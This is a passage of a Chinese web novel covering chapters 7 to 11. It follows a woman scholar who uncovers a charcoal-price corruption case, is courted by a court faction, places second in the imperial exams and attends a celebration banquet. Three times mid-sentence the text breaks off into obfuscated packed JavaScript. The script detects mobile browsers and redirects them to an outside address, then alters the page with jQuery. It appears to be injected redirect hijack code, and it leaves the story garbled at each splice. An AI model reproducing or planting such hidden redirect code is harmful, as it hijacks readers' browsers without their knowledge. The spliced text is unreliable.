“晚生在扬州亲历水灾,目睹良田被淹,百姓流离;也曾见地方豪强勾结官吏,侵占民田,使生者无立锥之地。我祖父一生精于邦计,心系民生,却因朝堂纷争,不得已辞官归隐,许多想做之事、能做之事,最终未能成行。”
她顿了顿,声音轻而坚定,“晚生入京,不为高官厚禄,只为让耕者有其田、居者有其业,让贪官污吏无处藏私,让这世间繁华之下,不再藏着满目疮痍。”
话音落下,厅内良久无声。
裴敬中颔首动容,彷佛透过眼前这个单薄却果毅的小娘子,见到了故人。
不,这个小娘子,更是坚忍质直。
崔太傅望着她,眸底缓缓泛起一层难掩的赞许,随即缓缓问道:“你既通财税、熟民生,近日在长安市井,可曾察觉到什么异常?”
孟钰微一凝神,看向裴侍郎,坦然应道:“晚生不敢隐瞒。那日在户部集阅,恰逢裴侍郎外出,听见胥吏提起东宫殿下办的薪炭案。近日途经东西两市与坊间炭肆,察觉十月未寒而炭价暴涨,问过家中老仆,较常年均价高出近半。又见很多铺子关着门,可见案子仍未有定论。”
她语气平稳,条理分明:“以财税常理推之,时令未深寒、边地无大灾、官炭定额如常,断无暴涨之理,并且东宫亲自审理此案。唯一可解释者,是有人暗中囤积居奇、截留官炭、抬价牟利。此事看似只是柴米物价,实则触及京畿供给和宫中用度,绝非小事,必是有官吏牵涉其中。”
一语落地,裴敬中脸色微变。
崔太傅眸中精光微闪,难掩震惊。
一个尚未登科的贡士,只凭只言片语和市井观察,竟一语道破薪炭案核心,眼光之准、心思之细、判断之稳。
竟与那位对此事的定论,几乎完全一致。
半晌,太傅缓缓开口,“孟小娘子,你有此心,更有此才。可是如今有人窃弄威权,只手遮天,壅蔽不达圣听,你孤身行走,难成大事。老夫问你,若有一人愿授你以阿衡之任,让你真正做实事、查弊政、安百姓,你愿不愿,以己之才辅佐他?”
孟钰心尖一紧,缓缓厘清了太傅话中之意,抬眸直视,“太傅厚爱,晚生感激。只是不知,太傅所说的,是哪一位殿下?”
崔太傅不意外她的直接,淡淡一笑,目光深远。
“时机未到,老夫不能言明。但你记住,你想查的弊,他也在查;你想护的民,他也在护;你行匡扶之职,他承天下之责。你且安心备考,他日,你自会知道他是谁。”
孟钰按下心头犹疑,深深俯首,“晚生,谨记太傅教诲。”
辞别裴府,驭马慢行在暮色里,孟钰反复回想今日所言所闻。
她已将薪炭异常和盘托出,而那位未露面的皇子,似乎早已与她,走在同一条路上。
她又想起李桢来,不知他此刻行在哪条路上,是否与自己同道相照。
8. 第八章
已过辰中,东宫还是一片灯火通明。
“真的就寻不到一点与杨弋铨相关的蛛丝马迹吗!”
李楷翻着摆满案台的卷宗,愁眉不展。
虽然他自己也深知,这十几日来,供词文书反反复复看得几乎可以背出来,却还是寻不到任何能够拿捏杨弋铨的把柄。
太子詹事亦是一脸愁绪。
“殿下,既然圣人还未催促,不妨多拖些时日,臣想办法将京兆府和司农寺已经收押的那几个再审审,还有那几个炭翁,或许能用些法子让他们吐点东西?”
太子听见这话,往后仰坐,望着殿顶,声音里透着一丝萎靡不振。
“圣人不催促那是在隔岸观火,他看着孤与杨弋铨斗了这么多年,何曾干预过。过两日便就是冬月了,再压着那些炭肆闭门不开,不管这案子最后审得的如何,到底牵扯到哪些人,孤肯定是第一个要被问罪的。何况这些人收押也好几日了,要开口早就开口了,他们一早就算计好罪不至死,还有一家老小要活命,他们要是吐出杨弋铨来便就没这等好事了。至于那些炭翁说的话,又有谁会信,连个物证都没有。”
“殿下,咱们这次不咬死他,恐日后就......”
李楷不等詹事说完便猛地竖起背脊,拾起一本册子往地上掷去,打断他。
“住嘴,孤如何会不知道这些,可是孤知道又有什么用。罢了,圣人只是要个结果,明日朝会让钱文邕上奏吧,反正有了好名声,圣人就不会不满意。你赶紧去办吧。”
詹事走后,李楷眼神空洞,看着殿中央瑞兽鞍马纹的舞筵,愈发觉得身心俱疲。
满目繁华下是日复一日被圣人期望的明争暗斗,被架在这方台子上,演贤能演高明,实际已是千疮百孔,他此刻真想知道究竟什么时候才是个头。
可他又陡然回过神来,耻笑自己无用。
一旦他真的累了不斗了,恐怕就是死期到了。
这个时候内侍进来宣太子妃到了,太子扶额点点头。
“殿下,妾带了宵夜来,殿下忙到此刻,定是又饿了。”太子妃许纨行过礼跪坐到太子旁侧,放下提盒,伸手替太子按摩着额角。
李楷抚上许纨的手握住,“辛苦太子妃了,这么晚了还替孤操持这些小事。”
“事关殿下的从来就没有小事,都怨纨儿无能,不能替殿下分忧。”
“怎会,纨儿是孤的左膀右臂,孤记得你兄长如今在兵部,这便很好。”
许纨看着李楷意味深长的眼神,羞怯地低下头去,“是,妾会多加提点兄长的。”
第二日朝会上,御史中丞联合大理寺、刑部一同押奏。
弹劾京兆府尹、司农卿相互勾结,职掌炭务监守自盗,窃换官炭以中饱私囊。
又强市于民,以威凌弱,贱取炭翁之货而牟利。
幸东宫太子及早察觉,案情未至不可控之境,但京兆府、司农寺涉及官员皆当判流放之刑。
另户部金部司、度支司数个官员未行监察之职,也当贬黜。
关闭涉案炭肆,财货一应没官。
“准!另传朕旨意,当好好安抚补偿那几个炭翁,京中百姓薪炭供应还要继续指望他们,至于没收的炭薪,裴敬中。”
“臣在。”
“这案子既然是你办的,那些收上来的炭薪你们户部好好清点,发放给京中那些穷苦百姓,尤其是老弱妇孺,以彰显我大雍之仁德。”
圣人说着展臂一挥,龙颜大悦。
“是,臣接旨。”
“张敦复,腾出来的位置,你尽快拟给名录给朕,天渐冷了,该办的事还是得有人办。”
“是,臣接旨。”吏部尚书出列领下口谕。
一下子冒出来了如此多的空缺,直觉浑身冒汗,怕是没这么好拟呢。
“东宫这次做得很好,当赏,赐帛千匹。户部那边你也继续在旁协助,把这件事好好办完。”圣人面露欣然。
“是,臣遵旨。”
圣人又看了看下方杨弋铨站在前列,一直未发一言,握着手中象牙笏板,面不露色。
散朝后,圣人留太子李楷、右相杨弋铨、左相朱浅文、户部尚书李垣寅、兵部尚书王近弥等回兴庆殿继续商讨入冬军饷一事。
“朕已阅过户部呈上来的折子,不过朕瞧着怎么河西的军饷又多了一些。”
“回陛下的话,是河西年中募兵增了近两万,再加上重镇之地,每个兵卒的军需略比别地要高一些,故就多了。”王近弥出声回道。
“朕听闻,北方几个重镇今秋收成皆不错,既如此,不若让他们自己解决部分军粮供给。田地不够也允他们开垦荒地,这部分田税亦让其自留,如此户部拨出去的军需是否能减轻些?”
话音落地,众人内心震动。
圣人的意思是要放权给方镇。
各镇节度使从前仅是各掌兵权,如今要拨部分利权下去,是从未有过先例的。
一时之间无人敢应声。
虽然军需一直是朝廷最棘手的政事,每年光是审阅各地军需就耗费良久,常常户部批文还未发出去,边境大大小小的战事却已然发起。
户部在京城官署中算出的物价、敌情,等到了各镇早失了用武之地。更不论军资在千里迢迢的押送之路上,又要损失几何。
然而放权不是小事,谁敢应承此措定能百利而无一害。
杨弋铨见殿中寂静,思虑了片刻,出声道:“回禀陛下,臣认为此事或许可行,既能解决京中与各地联络所费之时过久,又能削减军资沿途损耗,为朝中大计节流。且各地节度使最是知悉军中耗费,比京中发出的支度要合理许多。如此周全,乃陛下圣明。”
“陛下,臣认为不妥。各镇相去甚远,若是他们自己得利,瞒报军需财税,蒙蔽圣听,后果不堪设想。”
太子听完杨弋铨一番话,内心忧虑,在一旁出言相劝。
圣人神色不明,置若罔闻。
“太子殿下所言不无道理,不过也可在各镇设度支使,负责各地财计相及事宜,这些度支使由户部来掌管,陛下便能安心。”李垣寅顺着太子的话头又圆了回来。
圣人闻言,龙颜大悦,连连赞好,“那你们回去先拟个草书来,近日呈给我,都退下吧。弋铨,你留步。”
太子在袖中攥紧双手,面上不露声色。
看来圣人早有决断,才对自己不发一言。
即便心中再有不甘憋屈,只能同其他人一齐行礼后退下。
“弋铨,朕近日瞧着太子愈发糊涂了,常常在想,是不是他过得太舒坦了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590882|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也许该让朕的其他儿子替他分一分担子。”
“陛下,这是您的家事,臣是外臣,不敢置喙。不过臣愚见,其他皇子纵然能替太子殿下担责,好让殿下轻松些,但有些殿下也未必是懂事体贴的,恐怕会放虎归山。”
一个太子殿下尚可对付,一群便难了。
“你才说这是朕的家事,转头又编排起朕的儿子们了,弋铨,你的胆子也不小啊。”
“臣不敢,臣都是为陛下着想,请陛下明鉴。”杨弋铨说着便颤颤拜了下去。
皇帝手指点着龙椅扶柄,端量了半晌。
“罢了,你起身吧,朕再想想。另有一件要事与你交代一下,既削减了军资,年底和元旦的筵席庆典,定要好好操办,各国来朝,绝不能失了朕的颜面。”
说罢便摆手让杨弋铨退下,独自去了后殿。
等杨弋铨从兴庆殿出来后,一路都在细细琢磨圣人言语间的隐意。究竟是对太子失望了,还是对自己失望了,无从分辨。
遍身越发不寒而栗。
进了中书省,李垣寅竟在里头等着自己。
“相公,今日折将良多,我们往后该如何部署?”李垣寅压着声音问道。
“你急什么,你以为就我们损了人吗。先避过这阵风头,让太子得意两日。圣人刚刚留我,有更要紧的事情,你这回务必要仔细些。”
杨弋铨背着光,眯眼看着墙上壁记,阴恻恻的声音激得李垣寅低头不再开口。
..........
朝会后的两日里,薪炭案处置的消息传遍长安城内,城中百姓无不称颂当今圣上仁民爱物,也无不夸赞太子体察民情,满是祥和之气。
孟钰在家中听到消息时,纭娘正好在身边,她欢笑着拿上碎银就出门去囤买过冬的木炭了。孟钰看着纭娘的身影,摇头笑了笑,抿唇不语。
“你早就知道了是吗。“苏行霖从后面走上来,语气笃定,“那日在街上就见你东张西望,原来是在看这个。”
孟钰还是盯着纭娘离去的方向,仍不说话。
“你从前就是这样,出门游学,别人都是看风景看美人,吟诗作赋,你却只看国计看民生,丈量算计,别人总夸你的文章一针见血,立议独到,但我一点也不奇怪你会写出那样的笔墨来。沅微,你不知道我一直都很敬佩你,这么多年了,你这般宽心爽朗,但又心怀天下,装了很多别人毫不在意的事。你这样的家境出身,换做旁人早就贪图享乐去了,唯独你绞尽脑汁往龙潭虎穴里钻。别人进朝堂为名为利,你呢,你又是为了什么。沅微,我常常盼着你得偿所愿,可是又是又怕你太得偿所愿了。”
“行霖,原来你这般心疼我呢。”
孟钰转过头来,嬉皮笑脸地看着苏行霖。
你呢,难不成你也是那等圣贤书读进狗肚子里的庸才吗,我是不会跟那等庸才做这么久朋友的。”
苏行霖知道她在玩笑,却异常郑重地回看孟钰,“国正天心顺,官清民自安。我不如你勇敢机敏,但我定当也会尽我所能守正本心,沅微,我不会让你失望。”
“好,愿我们来日同官为僚友,努力图共济。”
孟钰与苏行霖相视一笑,这是冬日来临前的最后一个温暖午后,两个人站在廊下反倒觉得风和日丽,如登春台。
9. 第九章
这时袁芩生和林牧远二人正从外归来,满面风尘。
“沅微,行霖,你们怎么站在这里。”
林牧远先叹了口气,“我们今日跑了秘书监、国子监、还有两位名士府上,行卷递了三份,连正主的面都没见到。”
袁芩生更是局促不安,声音细弱,“我见了门吏都紧张,恐怕文章再好,也无人肯看。”
孟钰温声安抚,“奔走举荐本就艰难,不必因此气馁。科举以文章取士,只要根基扎实,总有见天之日。”
林牧远垮着脸,“也就你稳得住,长公主一句话,胜过我们跑断腿。还有行霖,已得主考官赏识,也是高枕无忧了。”
苏行霖轻叹一声,“同路而来,便是同道。无论结果如何,我们一同安心备考便是。”
“是呀,长风破浪会有时,直挂云帆济沧海。我们都会拨云见日,否极泰来的,再等等,定会有结果的。”孟钰细语宽慰道。
果不其然,林牧远和袁岑生终于在腊月得了好消息,稳稳拿到了贡院入场资格。
自此往后,退思居里便只剩书卷墨香与长夜灯火。
孟钰将听来看来的朝局变动、市井物价、财税旧例一一梳理成册,案头堆叠着祖父遗留的度支札记与往年进士策论。
白日静坐研读,入夜便就着灯烛默书,一字一句,皆关民生实务。
苏行霖最是勤勉,天不亮便起身温书,经义注疏写满批注,遇有疑惑便来与孟钰探讨。
二人常常为一段时务策论钻研至日影西斜,而后相视一笑,尽是同道相知。
袁芩生虽依旧拘谨,却也收了往日怯意,埋头苦读不休。
林牧远读书最是坐不住,时常捧着书卷在庭院里踱步背诵,念得兴起便拔出腰间短刀比划几下。
纭娘与许翁每日将三餐汤水备得妥帖,炭火添得暖意融融,生怕几人受了寒。
夜深人静时,孟钰常常独坐案前,翻开匣中那方旧玉,指尖轻触温润纹路。
想起裴府之中太傅所言,想起文苑里那道素色身影,心底便多了几分定力。
千里入京,不为荣华,仅为心中一杆秤、一方百姓、一段未竟之志。
窗外寒风卷雪,屋内灯火可亲。
四人各怀心思,一同在漫漫冬夜里,静待二月春闱,一战定前程。
弹指间,考期一至,贡院锁院。
孟钰入考场时气定神闲,经义、诗赋一挥而就,及至时务策一题,她提笔略一思索,便写下两道切中时弊之论:
一曰京畿薪炭之弊,言物价异动、官商勾结、囤积居奇之害;
二曰天下田税不均,直指豪强兼并、贫者无地、赋役倒置之危。
她落笔沉稳,不激不厉,却句句戳中当朝痛点,文末震愦一句:“治国者,必先安民生;安民生者,必先正财税。”
策论一出,朝野震动,甚至中书、门下、尚书三省不少官员看过都夸赞其“观尔策论,洞悉时弊,所言皆切中肯綮,足见心存社稷、志在苍生,实乃国士之风”。
..........
放榜之日,朱雀街前车马填咽,万头攒动。
孟钰与苏行霖、袁芩生、林牧远挤在人群之中,目光自金榜上缓缓掠过。
孟钰很快便定住目光,榜首第二个名字便是自己——乙等第二孟钰。
“沅微,我看见你名字了,你是第二!”林牧远欣悦得扯住孟钰晃了好几下。
孟钰笑着扶了扶林牧远后稳住心神,面上依旧沉静,继续往后看去。隔了十几个名字便看见乙等第十七苏行霖。
孟钰立时笑逐颜开,彷佛比看见自己的名字还振奋:“行霖,恭喜!”
苏行霖眼底含笑:“沅微,实至名归。”
一旁的林牧远扫过榜单,不见自己姓名,反倒朗然一笑:“好!你们都中了,我虽落第,也跟着风光!”
唯有袁芩生僵在原地,他将金榜从头看到尾,一遍、两遍、三遍……
最终也没能找到自己的名字。
他落榜了。
明明寒窗苦读,明明朝夕勤勉,可最终还是名落孙山。
他垂在身侧的手紧紧攥起,指节泛白,眉宇间郁气沉沉,一丝难堪与不甘翻涌上来,却只能强压在眼底。
孟钰也是阅览了几遍没找到他的名字,见他面色不忿,刚想出声安慰。
身旁忽有一人温声拱手,“这位便是孟小娘子吧?方才听见你身边友人唤你名字,在下杜清屹,恭喜小娘子金榜题名,策论之妙,朝野共赞。”
原来是榜首第一的杜清屹,御史中丞杜翦之子。
孟钰回身,见来人身着皂青白色锦袍,腰束玉带,眉目清润如玉石,鼻梁端直,神色温雅却自带贵气。
站在人群之中,如松竹立世,一眼便与寻常士子不同。
“杜兄客气,同登金榜,亦恭喜杜兄。在下还是逊色一些了,杜兄过誉。”
“哪里,孟娘子才是过誉了,我不过是辞藻堆砌,浮华不实,比不上孟娘子的策问鞭辟入里,远见卓识。你我同榜之谊,孟娘子以后唤我清屹即可。”
“清屹,你这又是哪里的话,何必如此谦卑,那你也唤我沅微便好。”
二人又相对作揖,杜清屹温雅颔首,又与苏行霖互相道贺。
这时又有两位娘子相携上前与孟钰等人施礼,一位年长些,面相端庄,应是大户人家的出身。
一位看起来与孟钰一般年纪,圆脸丹凤眼,十分楚楚可爱。
年长些的见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590883|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孟钰回过礼,便婉言道:“孟娘子,在下杭州姚静笙,乙等十五名。这是饶州徐元佩,亦在榜上,我二人同住东来客栈。我认真拜读过你的策问,孟娘子实为吾等女辈豪杰,今日榜下相识恨晚,日后还望不吝赐教。”
“是呀孟娘子,早已久仰大名,幸得同在金榜,也是缘分一场,愿今日相结为友,同修共行!”
徐元佩豪爽一些,倒与林牧远有些像。
孟钰闻言又忙不迭地作礼,“两位娘子谬赞,唤我沅微罢,能与你们结识自是我的福气。大家既是同期就不必客气,不如今日与我一起归家,咱们共摆筵席庆祝一番如何?”
众人觉得此主意甚好,正要结伴同去,可四周士子、官吏已认出榜首二人齐聚此处,纷纷围上前来道贺称颂,一时间人声喧沸,将几人簇拥在中间。
皇城另一侧的弘文馆,众人也是早早各派人手去贡院榜下打探,三三两两地聚在一起评议。
松荫之下,宋玘与永王李栩、济王李柯倚栏闲谈,语声清朗。
“我派人去瞧过了,清屹乙等第一,也巧,乙等第二便是姑母举荐的孟沅微,他们二人今日定是风光无量。”
李柯把玩着手中的茶盏,瞧着东南方向,仿佛已经听见了礼部贡院外的人声鼎沸。
宋玘亦叹:“清屹是占的便宜,那个孟沅微的策问才是真的不简单,你说她如今树大招风,会不会被人盯上利用?”
“这女子真有这么厉害吗,我去年也没仔细看看她的文章,就记得她面若美玉,真是令人过目不忘。可是总感觉之前还在哪里见过她,你们说会是在哪里呢?”
李柯并不回答,视线牢牢寻向他那个五哥。
不远处石桌旁,李桢执卷静坐,似在默读经文,未曾参与闲谈。
可早已听见李柯故意大声念出的结果,指尖轻轻摩挲书页,眸底掠过一丝几不可察的暖意与释然。
她竟这样快做到了。
他微微垂眸,掩去所有情绪。
风穿松叶,悄无声息。
只是,他亦担心她。
.........
春闱放榜不过三日,孟钰便带着春闱前就寻得的两卷梵文经书,前去含章长公主府上拜谒。
孟钰从门房上递过名帖,等了不过一刻钟便有府尉领进门了。
一路从围院回廊往里行去,朱红色的廊柱施以青绿彩绘,梁枋上是精细的佛教旋子彩画。
廊壁上的直棂窗透过斑驳光影,如今二月中旬,窗那头的园子里已经开了不少花。
细小的花瓣偶被阵风裹挟着从窗缝中飘进来,洋洋洒洒地落在连廊上,给青砖也染上了明艳的色彩。
经过了几座宏大殿宇并未停,看来公主不在前殿接见自己。
10. 第十章
再往前,换上一段临水游廊,池中似是引的活水,水声潺潺,几尾金鲫摇曳游过。
忽而一阵春风袭来,倒映着的树木山石变得模糊晃荡,徒留一团虚影,伴着渐渐清晰的木鱼声,彷佛已不在人间。
府尉这时停了下来,作礼道:“公主便在湖心亭中,娘子自去吧。”说完便转身沿着游廊退下了。
孟钰理了理衣裙,继续朝池水中央的亭子走去。四周桃花灼灼,纷飞如雨,粉云一片浮于碧波上。
公主悠然斜坐于亭栏处,着了一身月白色儒裙,但是外罩的纱罗大袖衫上是金线绣制的缠枝莲纹。
发上插着一支金累丝凤衔珠步摇,简练却尽显华贵。
公主远远地就瞧见孟钰了,眼里漾开一片笑意,等着她近前去。
孟钰进了亭中,对着含章弯腰行过福礼,有礼有节道:“前日揭榜,沅微得乙等第二,这皆是依仗长公主提拔赏识,特来携礼拜谢。然沅微一介孤女,在京中人脉不多,也知公主奉佛已久,故未备金玉俗物,恐污贵人尊目。沅微多加打听,在天竺坊寻得两卷梵文经书,助公主修习,还望公主不要鄙弃。”
含章闻言,笑得更加欣悦,“你这孩子,不愧是本宫一眼相中的,送这礼最得我心。”
说着便伸出玉手取走孟钰手中经书。
“不错不错,这应是天竺僧人新传来的,本宫手上确实还未有,便收下了。不过,能金榜题名,主要还是你自己的本事。愿你以后能守住本心,像策问里写的那般济世安民。”
孟钰再次俯身行礼,“是,谢公主教诲。”
“还有一桩事,本宫过两日会包下安胜楼,为今年的新科进士摆宴,你带着友人一同前去吃酒玩耍,也好多认识些人,总是没坏处的。”
说着,含章便从身侧拿起帖子递给孟钰。
“那沅微便再次谢过公主好意了。”
见公主盛情难却,孟钰也想着是该多认识些同期。还有上次榜下结识的几人,相谈甚欢,意犹未尽,便接下了帖子。
说完正事,含章请孟钰坐下,喝了几盏茶,问了些扬州和孟如深的旧事,孟钰才起身告辞离开。
二月底,一行四人同往安胜楼,心境却已然迥异。
孟钰与苏行霖登科,衣袂间皆是新科进士的清朗意气。
林牧远虽榜上无名,倒不见半分颓丧,反倒腰杆挺得更直,步履间多了几分武将之气。
唯有袁芩生眉眼间仍是一片愁绪,彷佛还陷在落榜的悲苦不甘中。
他原本是不愿来的,已经收拾好行囊准备早日返乡了。
可转念一想,今日进士们齐聚一堂,来日多是在朝在野的官身,抓住最后的机遇再结识几个,下次春闱或许会顺遂些。
然而看着身边友人的意气风发,他依旧怅然若失。
“考不上便考不上,本就不是我的路。”
林牧远拍了拍腰间佩刀,笑得坦荡,“我已托人递了从军文书,去北地戍边,总比在笔墨堆里耗着强。沅微,行霖,你们来日是何打算,回原籍准备文书,等着吏部铨选授官吗?”
“大丈夫志在四方,好归宿。”
孟钰顽笑般对着林牧远抱拳,又放下,脸色郑重起来,“行霖回去,我不回了,我不想等那么久,预备应试书判拔萃科了。至于文书,行霖会想办法替我寄来的。”
说完,孟钰侧过头去,对着落后半步的袁芩生说道:“岑生呢,你与行霖一道回去吗,路上好做个伴。”
袁岑生自嘲一笑,“他是衣锦昼还乡,我是负书归故乡。同路不同命啊。”
几人皆知袁岑生自落榜后一直这样萎靡不振,话里藏刺。
念及他家境贫寒,入京科考已是不易,并不与他计较,连纭娘都好久不曾找他要生计了。
“岑生,你别灰心,天生我材必有用,你的勤奋刻苦我们都看在眼里,登科不过是时间问题,你不要心急。”孟钰轻声安慰着。
“呵,果真是时间问题吗,我瞧着金榜上十之七八都是世家或官宦子弟,即便来年我再试一次,焉知会有我的位置。从我四处求人举荐之日起,受尽冷眼,我便知这天下从来不是我这等庶民的天下。”
孟钰见他越说越激动,已有路人投来目光,她赶忙拉了拉他的衣袖。
袁岑生这才惊觉自己的失态,涨红了脸。
“我知你心中不平,但是岑生,我辈不试试,怎知行不通呢。大道之行,天下为公。我有信心,你也要有。”
孟钰知道现在提及这些,未必能说动他,可她还是将心中所想脱口而出。
袁岑生怔怔地看着孟钰,良久未再言语。
“罢了,今日出来赴宴,咱们就图个及时行乐。你尚有如此志气,不比我这个碌碌无为之辈好上许多,不必再伤怀,分别在即,来日山高水远,再逢之时或已是另一番天地。”
林牧远潇洒地搂上袁岑生的肩膀宽慰道。
袁岑生这才面色如常,不过众人听得“分别”二字,心中另起愁绪。
余下的路皆默默地走着。
安胜楼在东市,北临龙首渠,水楼雅致,宾客云云,皆是京中士子。
杜清屹与另一个男子在堂中迎客,礼数周全,并不见半分权贵张扬。
二人见到孟钰等人迎了上去,杜清屹施礼笑道:“孟娘子,苏兄,林兄,袁兄,在下等候诸位许久了,上次把酒相谈,余兴未尽,今日定要再对饮几杯,不醉不归。介绍一下,这位是赵至益,春闱乙等第八。”
几人闻言纷纷行礼。
孟钰自踏进楼内,见飞阁流丹,庭院深深,兴致甚好。
“见过赵兄,杜兄,今日自然要多饮一些,不过诸位别怪我不胜酒力便好。”
众人笑语寒暄间,楼外又有一拨士子接踵而至。
杜清屹抬手示意几人自行登楼,便偕同赵至益,转身前去接待应酬。
孟钰四人缓步踱上了二楼,拣了一处僻静不惹眼的临窗席位,安然落座。
楼内雅座错落,各处
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590884|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都坐满了新科及第的士子与各地贡生,彼此寒暄叙旧,论诗谈文,杯盏相碰之声不绝于耳。
笑语清谈此起彼伏,一派风流热闹的长安士林气象。
不多时,便有相熟的进士陆续过来搭话问好。
林牧远生性爽朗不羁,最是擅长应酬周旋,与人说笑打趣,半点无拘束。
苏行霖与袁岑生两人倒是自斟自饮起来。
有人前来与孟钰论策问学,她便据实作答,言辞条理清晰,见解独到中肯。
有人客套攀谈,她亦礼数周全,浅笑回礼,分寸拿捏得恰到好处。几番应酬下来,反倒更得一众士子敬重。
杜清屹和赵至益亦在席间流转,与几人痛饮言笑了片时后,转去了别桌交际。
想来是公主吩咐要他二人出面略尽地主之谊。
“沅微,你在这里,要我好找。”原来是徐元佩与姚静笙到了。
徐元佩迫不及待地快跑了两步,姚静笙端庄持重亦步亦趋地跟在后面不远。
徐元佩见孟钰与苏行霖中间还有余隙,便想挤入其中落座,并未注意到苏行霖举着酒杯的手近在咫尺,转身时一个不注意,撞撒了苏行霖一身。
“对不住对不住,苏兄快拿我的帕子擦擦。”说着便解下身上别着的手帕,要替苏行霖擦拭。
苏行霖骤闻得一阵脂粉香气扑面而来,徐元佩的手攥着帕子已要朝他胸口按下,那双素手上还涂着鲜艳丹蔻。
抬头见粉雕玉琢的一张脸亦在眼前,心口突突直跳起来,慌张间不知如何是好,只得后退一些站起了身。
徐元佩手下落空,心想这人好生奇怪,自己都还没碰上他,怎么一下子躲得这么远。
但也知自己理亏,继续赔笑道:“苏兄,你别生我气,我这人一向冒失。实在不行,我明日另买一身衣裳送去沅微府上送给你,可好?”
苏行霖不知这娘子怎么这般跳脱。
大庭广众之下她要近身替自己擦拭便罢了,自己为她着想躲开,她怎么说自己是生她气了,怎么又要买衣裳送给自己了。
苏行霖虽不如林牧远健谈,到底也是个出口成章的文人,此生从未有过如此张口结舌之时。
不过瞧着徐元佩一副满脸堆笑的娇憨神情,倒也恼怒不起来,正要措辞安抚她。
孟钰和姚静笙见他们好似不知如何收场,便一人拉住一个安稳落座。
“你别操心了,苏兄不是那等小气之人,刚刚洒掉的酒水也不多,要不了太久就会干的,你且安心坐着吧。”
孟钰觑了眼苏行霖有些泛红的耳廓,偷笑着转头凑在徐元佩耳边说道。
徐元佩听见这话,隔着孟钰对苏行霖点头作礼,而后就举着竹箸专心尝起菜式来。倒是苏行霖又偷偷撇了她几眼。
筵席渐入佳境,佳肴轮番奉上,醇酒流转席间。丝竹乐声隐隐从楼下传来,伴着众人高谈阔论、吟诗作赋。
安胜楼内其乐融融,高朋满座,将长安文人间的风流雅致,衬得淋漓尽致。
11. 第十一章
酒过三巡,席间热闹稍减,众人各自三五成群闲谈。孟钰见时机正好,轻轻放下酒杯,看向身旁几人,轻声开口。
“今日趁此良辰,正好与诸位饯别。”
苏行霖闻言,神色平和,缓缓道:“你我同来长安,结伴温书数月,情谊深重。前路各有归途,心志各有去向。沅微,你在京中要照顾好自己。”
林牧远听得坦荡,仰头饮尽杯中酒,大笑一声:“说得好!人生聚散本就随缘,何必拘于眼前。今日一别,你们留京的留京,归乡的归乡,待他日诸位绯袍加身,我戍守边关,遥相呼应,亦是一桩美事。岑生,你所求也定有所得。”
话语洒脱,尽藏着不舍。
袁芩生捏着酒杯,指尖微微泛白,眼底压着难言的失意与酸涩。
他落榜无望,前路茫然,望着眼前几人各有志向、各有归处,愈发觉得自己渺小飘摇,勉强挤出一抹笑意,低声附和道:“愿诸位,前路皆坦途,岁岁皆安。”
姚静笙与徐元佩亦举杯相对,“我同元佩与诸位虽相识不久,但自榜下结缘后到如今已视为挚友,也在此祝我们潮平两岸阔,风正一帆悬。”
杯中清酒映着楼内梁影,也映着少年儿女各自的前程与心事。
一饮而尽,放下杯盏,没有过多伤感言语,相视一笑,便将数月同行相伴的情谊,尽数藏入心底。
飞蓬各自远,且尽手中杯。
筵席依旧喧闹,丝竹依旧悠扬,唯有这一隅的六人,悄然定下了来日的聚散浮沉。
长安盛世繁华,前路风雨漫漫,从此各自奔赴,静待相逢有期。
孟钰渐渐有些头晕面热,起身轻声道:“我去廊下透透气。”
她步出厅堂,见三楼悄无人声,拾级而上。沿着水楼回廊慢行,廊下背光,灯火昏黄,若明若暗。
闲步到拐角深处,豁然开朗,一间雅阁紧邻水渠,春风裹着水汽,将层层青色帘幔吹动,暗影摇曳,又隐隐飘出一缕松韵清冽的气息。
孟钰探头,见里面静谧雅致,便觉此地正适合自己休憩片刻。迈脚踏入,走到棱格木窗边随意盘腿坐下。
酒水下肚太多,醺晕了头脑,她丝毫未曾察觉此间还有一人。
李桢其实在里间坐了许久,今日他是偷偷扮作杜清屹的侍从跟来的。
自去岁文苑一面后,他常常思虑到过去数年间,她应是多有不易,想她在官学六载是否顺遂,这一路是否平安无灾。
所以这场他请含章长公主出面办的筵席,只为替她庆贺,庆她学有所成,庆她苦尽甘来,庆她如愿以偿。
他先前在三楼回廊暗处朝下盯了半晌,见到这位孟小娘子携着友人入席,畅饮闲谈,游刃有余,后又隐忍话别。
他才转身回了这间厢房,静坐等待散席。
可在他独处一隅,寂寥无趣的时候,孟钰像一只灵动的春燕般,独自飞入了这片,只有他一人的天地。
孟钰见龙首渠边春和景明,便想伸出手去轻抚微风,感受长安的韶光淑气。
